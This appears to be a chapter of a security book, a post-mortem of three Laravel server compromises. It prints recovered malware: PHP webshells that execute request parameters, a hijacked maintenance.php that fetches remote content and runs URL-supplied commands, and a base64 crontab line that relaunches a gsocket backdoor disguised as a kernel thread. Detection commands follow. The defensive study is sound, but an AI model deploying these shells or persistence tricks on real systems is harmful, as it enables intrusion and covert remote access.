Real Attacks We Survived: From Webshells to Binary Backdoors
This chapter isnât theory. Itâs a post-mortem.
Between December 2025 and February 2026, three of our production Laravel applications were compromised. Real businesses. Real users. Real data at risk. The last attack revealed something far worse than webshells - a binary backdoor that had been hiding on our server for 10 months.
Weâre sharing everything we learned - the timelines, the files, the techniques - so you can recognize these patterns before they become your problem.
This Wasn't Our First Time
Before these three attacks, we had already experienced a similar incident on shared hosting. Twelve Laravel applications on a single hosting accountâmost of them compromised with the same SEO spam malware. One weak point, twelve infected sites. Thatâs when we first realized: shared hosting multiplies your risk. But we didnât learn our lesson fast enough.
Attack #1: The Video Platform (December 2025)
Our first target was an AI-powered video creation platform. Built on Laravel, it helped content creators automatically generate short-form videos for social mediaâcomplete with AI narration, dynamic subtitles, and automated editing. It had been running smoothly for months. Then Christmas came.
Timeline
| Date | Time | Event |
|---|---|---|
| Dec 24 | Unknown | Initial backdoor 1e58d74cc1ff.php planted in /public/ |
| Dec 25 | 02:03 | First recorded access from IP 194.110.207.198 |
| Dec 25-26 | Ongoing | Attacker explores filesystem, uploads additional shells |
| Dec 26 | Morning | SEO spam directories created: d2f08/, bb75f/, etc. |
| Dec 26 | Afternoon | accesson.php copied to ~15 directories |
| Dec 27 | Evening | We discover the breach by accident |
72+ Hours Undetected
The attacker had free access to our server for over 72 hours before we noticed anything wrong. There was no monitoring. No alerts. No automated scanning.
The malware files
Hereâs what we found when we started investigating:
Primary Webshell:
/public/1e58d74cc1ff.php
This was the main backdoor - a full-featured webshell with file management, command execution, and upload capabilities.
Backup Shells:
/public/cf7a7e59e4.php
/public/98e2628301.php
/public/7a3b2c1d4e.php
The attacker deployed multiple backup shells with randomized hash names. If we found and deleted one, the others would still work.
The Spreader:
accesson.php
This file was copied to approximately 15 directories throughout the project:
/public/accesson.php
/storage/app/public/accesson.php
/resources/accesson.php
/app/accesson.php
/config/accesson.php
/database/accesson.php
... and more
SEO Spam Directories:
/public/d2f08/
/public/bb75f/
/public/a9c3e/
These contained thousands of HTML files with fake product listings, pharmacy spam, and gambling links - all designed to hijack our domainâs SEO authority.
Attack techniques used
1. Hash-named Files
Every malicious file used a random hex string as its name:
1e58d74cc1ff.phpcf7a7e59e4.php98e2628301.php
This makes manual detection nearly impossible. How do you spot a malicious file among thousands when it looks like a cache file or temporary upload?
2. Multi-location Persistence
By copying accesson.php to 15+ directories, the attacker ensured that:
- Deleting one copy wouldnât stop them
- They had multiple entry points
- At least one would likely survive a partial cleanup
3. Self-Protection
The webshells included self-protection mechanisms:
// Set file permissions to read-only
chmod(__FILE__, 0444);
// Try to set immutable flag (Linux)
@shell_exec('chattr +i ' . __FILE__);
// Disable error reporting
error_reporting(0);
ini_set('display_errors', 0); 4. Parameter-Based Commands
The webshells used URL parameters for different functions:
?up- Upload file interface?id=xxx- Execute command?dl=path- Download file?ed=path- Edit file
How Did They Get In?
Our investigation pointed to a compromised admin account. The attacker likely:
- Obtained credentials through phishing or credential stuffing
- Logged into the Laravel admin panel
- Found a file upload feature with insufficient validation
- Uploaded the initial webshell disguised as an image
The Entry Point
The initial backdoor was uploaded through a legitimate feature of our
application. The upload validation checked MIME type but not file extension
thoroughly. A file named image.php with a forged MIME type passed
validation.
Attack #2: The News Platform - First Wave (January 2026)
Three weeks later, it happened again - to a different project.
This was a news analysis platform that helps citizens develop critical thinking about media. Using AI-powered credibility assessment, it enables users to analyze news articles for bias and accuracy. The stakes were highâuser trust and platform credibility were on the line.
The Discovery
Unlike the video platform, we didnât discover this attack ourselves.
The hosting providerâs malware scanner flagged a suspicious file:
/storage/app/public/kjrce03dcm.php
Hosting Provider Detection
Our hosting providerâs generic scanner found what we missed. But their scanner isnât Laravel-aware - it only caught this because the pattern matched known webshell signatures.
The Malware
File: kjrce03dcm.php
Location: /storage/app/public/
Type: Compact webshell (China Chopper variant)
The file was small - only about 4KB - but extremely dangerous:
<?php
// Disable errors
@error_reporting(0);
@ini_set('display_errors', 0);
// Accept commands via POST
if(isset($_POST['cmd'])) {
echo '<pre>';
$cmd = $_POST['cmd'];
// Execute and output
@system($cmd);
echo '</pre>';
}
// File operations via GET
if(isset($_GET['action'])) {
switch($_GET['action']) {
case 'upload': /* ... */ break;
case 'download': /* ... */ break;
case 'delete': /* ... */ break;
}
}
?> The Attack Vector
This time, the entry point was different:
- The application had a public file upload feature for user documents
- The upload went to
storage/app/public/(publicly accessible via symlink) - Validation checked file size and MIME type, but not the extension
- Attacker uploaded
kjrce03dcm.phpdirectly
What Saved Us
Two things prevented major damage:
- Early detection - The hosting provider flagged it within 48 hours
- Limited propagation - The attacker hadnât yet spread to other directories
But this was luck, not skill.
We cleaned up the webshell. We thought we were safe.
We were wrong.
Attack #3: The News Platform - The Return (February 2026)
The Attack That Changed Everything
What we discovered in February 2026 made the previous two attacks look like warm-ups. While we were cleaning PHP webshells, a binary backdoor had been silently running on our server for 10 months.
What We Found
When SEO spam suddenly appeared on every page of the news platform in early February, we knew something was wrong. But we had already cleaned the webshell from January. How was the attacker back?
The investigation revealed four components working together:
Component 1: maintenance.php Hijack
Laravelâs public/index.php contains this code:
if (file_exists($maintenance = __DIR__.'/../storage/framework/maintenance.php')) {
require $maintenance;
} This file is auto-included on EVERY HTTP request before any Laravel code runs. When you put your app in maintenance mode with php artisan down, this is the file that gets created. The attacker knew this - and replaced it with their own version:
<?php
// COMPONENT 1: SEO Spam Loader
$url = "https://sebat-dulu-bray.b-cdn.net/gratis.txt";
$content = @file_get_contents($url);
if ($content === false) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$content = curl_exec($ch);
curl_close($ch);
}
echo $content;
?>
<?php
// COMPONENT 2: Simple Webshell
if (isset($_GET['sley'])) {
$joday = $_GET['sley'];
system($joday, $ret);
echo $ret;
}
?> Why this is devastating:
- SEO spam on every page - spam content fetched from BunnyCDN displayed on every request
- Webshell on any URL - simply add
?sley=COMMANDto any URL on the site - Dual fetch mechanism -
file_get_contentswithcurlfallback ensures the spam loads even if one method is disabled - Runs before Laravel - no middleware, no authentication, no framework protections apply
The CDN domain sebat-dulu-bray.b-cdn.net translates to Indonesian slang (âsmoke first, broâ) - a clue to the attackerâs origin. The variable names sley and joday further suggest an Indonesian-speaking attacker.
Component 2: bootstrap.cache.php Webshell
The attacker deployed a more sophisticated webshell, using filename mimicry to blend in:
/storage/app/public/bootstrap.cache.php
/storage/bootstrap.cache.php
The name bootstrap.cache.php is designed to look like a legitimate Laravel file - after all, Laravel has a bootstrap/cache/ directory. An admin glancing through files might skip right over it.
<?php
/*
* Bootstrap Cache Handler
* @package Framework Core
* @license MIT
*/
if(!defined('_INIT')){define('_INIT',1);}
// Access key (hex encoded): "wanna_play_with_me"
$k="\x77\x61\x6e\x6e\x61\x5f\x70\x6c\x61\x79\x5f\x77\x69\x74\x68\x5f\x6d\x65";
if(isset($_GET[$k])||isset($_POST[$k])){
// Server info dump (software, IP, PHP version, uname)
// File uploader (arbitrary upload to any writable path)
// Command executor via shell_exec()
exit;
}
// STEALTH: Fake 404 page if accessed without password
// Detects server software (nginx/apache) and returns matching 404 page
http_response_code(404);
// ... adaptive 404 based on server software Key features:
- Hex-encoded password -
wanna_play_with_mestored as hex bytes, invisible to simple string searches - Fake 404 response - if you visit the file without the password, it returns a convincing 404 page that matches your web server (nginx or Apache)
- Fake code comments - the header looks like a legitimate framework file
- Full capabilities - server recon, file upload, and command execution in one compact file
Component 3: The Real Threat - gsocket Binary Backdoor
This Changed Everything We Knew About Server Security
While we were focused on PHP files, a binary backdoor had been running on our server since April 2025 - ten months before we found it. It wasnât PHP. It wasnât in any web directory. It was invisible to every scanner, every monitoring tool, and every manual inspection we had done.
Hidden deep in a system configuration directory:
/var/www/.config/htop/defunct (2.8MB ELF binary)
/var/www/.config/htop/defunct.dat (23-byte auth key)
This was gsocket (Global Socket) - a tool that provides encrypted shell access through relay servers. Hereâs what makes it terrifying:
| Feature | Detail |
|---|---|
| No open ports | Uses Global Socket Relay Network - nothing shows up in netstat or ss |
| Bypasses firewalls | Connects through relay servers, not direct connections |
| Invisible connections | No inbound or outbound connections visible in network monitoring |
| Static binary | No library dependencies - runs on any Linux x86-64 system |
| Stripped symbols | Debug info removed, harder to reverse engineer |
| Tiny footprint | Just 2.8MB, owned by www-data with 700 permissions |
The attacker could connect to our server at any time using a shared secret key, get a full interactive shell, and we would never see it. No logs. No alerts. No open ports. Nothing.
Component 4: Crontab Persistence - The Unkillable Process
The attacker ensured gsocket would survive server reboots using a cleverly disguised crontab entry:
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
0 * * * * { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUzMyBkZWZ1bmN0IDI+L2Rldi9udWxsIHx8IFNIRUxMPSBURVJNPXh0ZXJtLTI1NmNvbG9yIEdTX0FSR1M9Ii1rIC92YXIvd3d3Ly5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW3NsdWJfZmx1c2h3cV0nICcvdmFyL3d3dy8uY29uZmlnL2h0b3AvZGVmdW5jdCciIDI+L2Rldi9udWxsCg==|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random Letâs decode what this does. The base64 payload decodes to:
/usr/bin/pkill -0 -U33 defunct 2>/dev/null || \
SHELL= TERM=xterm-256color GS_ARGS="-k /var/www/.config/htop/defunct.dat -liqD" \
/usr/bin/bash -c "exec -a '[slub_flushwq]' '/var/www/.config/htop/defunct'" 2>/dev/null Step by step:
pkill -0 -U33 defunct- Check if gsocket is already running as UID 33 (www-data)- If NOT running (
||): start it with these settings:-k defunct.dat- use the authentication key file-l- listen mode (wait for attacker to connect)-i- interactive shell-q- quiet mode (no output)-D- daemon mode (run in background)
exec -a '[slub_flushwq]'- Rename the process to look like a kernel thread
That last part is critical. In Linux, kernel threads appear in ps output with brackets: [kworker/0:0], [migration/0], [slub_flushwq]. By naming the gsocket process [slub_flushwq] (which is a real Linux kernel worker thread name), it becomes virtually invisible in process listings. Youâd have to know it shouldnât be running as www-data to notice anything wrong.
The evasion layers are remarkable:
| Technique | Purpose |
|---|---|
"DO NOT REMOVE THIS LINE. SEED PRNG." | Fake system comment - looks like a system-critical entry |
| Base64 encoding | Actual command invisible to casual inspection |
#1b5b324a at the end | ANSI escape sequence \e[2J (clear screen) in hex |
Hourly execution (0 * * * *) | If the process dies, it restarts within an hour |
2>/dev/null | All errors silently discarded |
The Complete Timeline
| Date | Event |
|---|---|
| Apr 24, 2025 | gsocket binary installed in /var/www/.config/htop/ |
| www-data crontab persistence installed | |
| 10 months of undetected access begin | |
| Jan 24, 2026 | Attacker deploys bootstrap.cache.php webshells |
| First detection by hosting providerâs scanner | |
| User cleanup | Webshell PHP files removed manually |
| gsocket backdoor NOT discovered | |
| Crontab NOT checked | |
| Feb 4, 2026 | Re-infection via gsocket backdoor |
maintenance.php hijacked with SEO spam + webshell | |
sitemap.xml and robots.txt modified | |
| Feb 9, 2026 | Full investigation - all components discovered |
| VPS stopped for forensic analysis | |
| Crontab persistence identified and removed |
Why the Malware Kept Coming Back
We cleaned the PHP webshells in January. The attacker was back within days.
The reason is simple: cleaning PHP files doesnât remove the attacker. The gsocket binary gave them persistent access to our server. Every time we cleaned up, they simply reconnected through the relay network and redeployed their malware.
Itâs like changing the locks on your front door while the burglar is hiding in your attic.
Common Patterns Across All Three Attacks
Looking at all three incidents over 12 months, clear patterns emerged:
1. Target Directories
All attacks targeted publicly accessible directories or directories writable by the web server:
| Directory | Why Itâs Targeted |
|---|---|
/public/ | Directly web-accessible |
/storage/app/public/ | Accessible via symlink |
/storage/framework/ | Laravel auto-includes files from here |
/var/www/.config/ | Hidden directory, rarely audited |
2. Filename Strategies
| Strategy | Example | Purpose |
|---|---|---|
| Random hash | 1e58d74cc1ff.php | Avoid detection |
| Common name | accesson.php | Look like a plugin |
| Framework mimicry | bootstrap.cache.php | Look like Laravel file |
| System mimicry | defunct | Look like system process |
| Maintenance hijack | maintenance.php | Replace legitimate file |
3. Persistence Escalation
The persistence mechanisms evolved across attacks:
- Attack #1 - Multi-copy PHP files (15+ copies of
accesson.php) - Attack #2 - Single webshell in upload directory
- Attack #3 - Binary backdoor + crontab + process masquerading
Each level is harder to detect and harder to remove than the last.
4. Process Masquerading
The gsocket backdoor renamed itself to [slub_flushwq] - a legitimate Linux kernel thread name. In ps aux output, itâs indistinguishable from a real kernel process unless you check the UID (kernel threads run as root, this ran as www-data).
5. No Monitoring = No Detection
Across all three attacks, not one was detected by our own systems. We had:
- No file integrity monitoring
- No automated malware scanning
- No alerts for new PHP files in upload directories
- No binary file detection in web directories
- No crontab auditing
- No Laravel-specific security tools
Lessons Learned
Lesson 1: PHP Should Never Exist in Upload Directories
Golden Rule
There is NEVER a legitimate reason for a .php file to exist in:
/storage/app/public//public/uploads/- Any user-upload directory
If a PHP file appears there, itâs malware. Period.
Lesson 2: Cleaning Visible Malware Is Not Enough
This is the most important lesson from our experience. When you find and remove PHP webshells, youâve only addressed the symptom, not the cause. If the attacker has a binary backdoor, a crontab entry, or compromised SSH keys, theyâll be back within hours.
A complete cleanup requires:
- Removing all PHP malware
- Checking for binary files in web directories and hidden directories
- Auditing crontabs for ALL users (including www-data)
- Checking for SSH key modifications
- Rotating all credentials
Lesson 3: Binary Backdoors Are More Dangerous Than PHP Webshells
The gsocket binary was the real threat in our case - active for 10 months while we were focused on PHP files. Binary backdoors:
- Donât show up in PHP malware scanners
- Can use relay networks to bypass firewalls
- Leave no open ports to detect
- Can masquerade as system processes
Lesson 4: Check Crontabs for ALL Users
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
sudo crontab -u $user -l 2>/dev/null
done
Any crontab entry with base64, piping to bash, or referencing hidden directories is a red flag. The comment âDO NOT REMOVEâ is itself a social engineering trick.
Lesson 5: Process Masquerading Defeats Basic Monitoring
A process named [slub_flushwq] running as www-data instead of root is malicious - but youâd never notice without knowing what to look for. Regular process monitoring tools wonât flag it because the name matches a legitimate kernel thread.
Lesson 6: maintenance.php Is a Dangerous Attack Vector
Laravel auto-includes storage/framework/maintenance.php on every request. This makes it a perfect target for persistent code execution:
- It runs before any middleware
- It runs before any authentication
- It runs on every single HTTP request
- Itâs a legitimate Laravel file location
If this file exists and your app isnât in maintenance mode, something is wrong.
Lesson 7: Shared Hosting Multiplies Risk
Remember the attack we mentioned at the start? Before these three incidents, twelve applications on shared hosting were compromised in a single sweep. On shared hosting, one vulnerable application can lead to all of them being infected.
Lesson 8: Generic Scanners Arenât Enough
The hosting providerâs scanner found kjrce03dcm.php because it matched a known signature. But it missed:
- The gsocket binary entirely
- The hijacked
maintenance.php - The
bootstrap.cache.phpfilename mimicry - The crontab persistence
- Obfuscated code patterns
- Laravel-specific attack vectors
How to Check Your Own Server
If youâre reading this and wondering whether your server is compromised, here are the commands to run right now:
1. Check for hidden binaries
# Find ELF binaries in web directories
find /var/www/ -type f -exec file {} \; 2>/dev/null | grep "ELF"
# Check hidden directories under webroot
find /var/www/ -path "*/.*/*" -type f 2>/dev/null
# Specifically check .config directories
ls -laR /var/www/.config/ 2>/dev/null
ls -laR /home/*/.config/ 2>/dev/null 2. Audit all crontabs
# Check all user crontabs
for user in $(cut -f1 -d: /etc/passwd); do
echo "=== $user ==="
sudo crontab -u $user -l 2>/dev/null
done
# Look for base64 in crontabs
sudo grep -r "base64" /var/spool/cron/ 2>/dev/null
sudo grep -r "base64" /etc/cron* 2>/dev/null 3. Check for process masquerading
# Kernel-thread-like processes NOT running as root = suspicious
ps aux | grep '\[' | grep -v root
# Check for known gsocket process names
ps aux | grep -i "slub_flush\|defunct\|gsocket\|gs-netcat" 4. Check for PHP in forbidden directories
# PHP files in storage (excluding compiled views)
find /var/www/*/storage/ -name "*.php" \
-not -path "*/framework/views/*" 2>/dev/null
# PHP files in public (excluding index.php)
find /var/www/*/public/ -name "*.php" \
-not -name "index.php" 2>/dev/null 5. Check maintenance.php
# maintenance.php should only exist when in maintenance mode
# If it exists, verify content is legitimate Laravel output
for site in /var/www/*/; do
if [ -f "${site}storage/framework/maintenance.php" ]; then
echo "=== FOUND: ${site}storage/framework/maintenance.php ==="
head -10 "${site}storage/framework/maintenance.php"
echo "--- CHECK: Is your app actually in maintenance mode? ---"
fi
done Red Flags Summary
If you see any of these, investigate immediately:
- ELF binaries anywhere under
/var/www/ - Hidden directories (
.config/,.cache/,.local/) under webroot - Base64-encoded commands in any crontab
- Processes with bracket names
[like_this]running as non-root users - PHP files in
storage/app/public/or upload directories maintenance.phpexisting when your app isnât in maintenance mode- Files named
bootstrap.cache.phpoutside ofbootstrap/cache/
The Birth of This Project
These three attacks - spanning 12 months and escalating from simple webshells to a sophisticated binary backdoor - forced us to act.
We couldnât keep hoping weâd get lucky. We needed:
- Automated scanning that understands Laravelâs structure
- Real-time monitoring that alerts us to new threats
- Signature detection for known malware patterns
- Behavioral analysis for unknown threats
- Binary file detection in web directories
- Crontab auditing for persistence mechanisms
- Zero false positives so we could trust the alerts
Thatâs why we built Laravel Malware Scanner.
And thatâs why weâre sharing this book with you - so you can learn from our mistakes instead of making your own.
Next: Chapter 3 - The 6 Most Common Attack Vectors in Laravel â
In the next chapter, weâll examine the most common ways attackers compromise Laravel applications - including the critical CVEs you need to know about.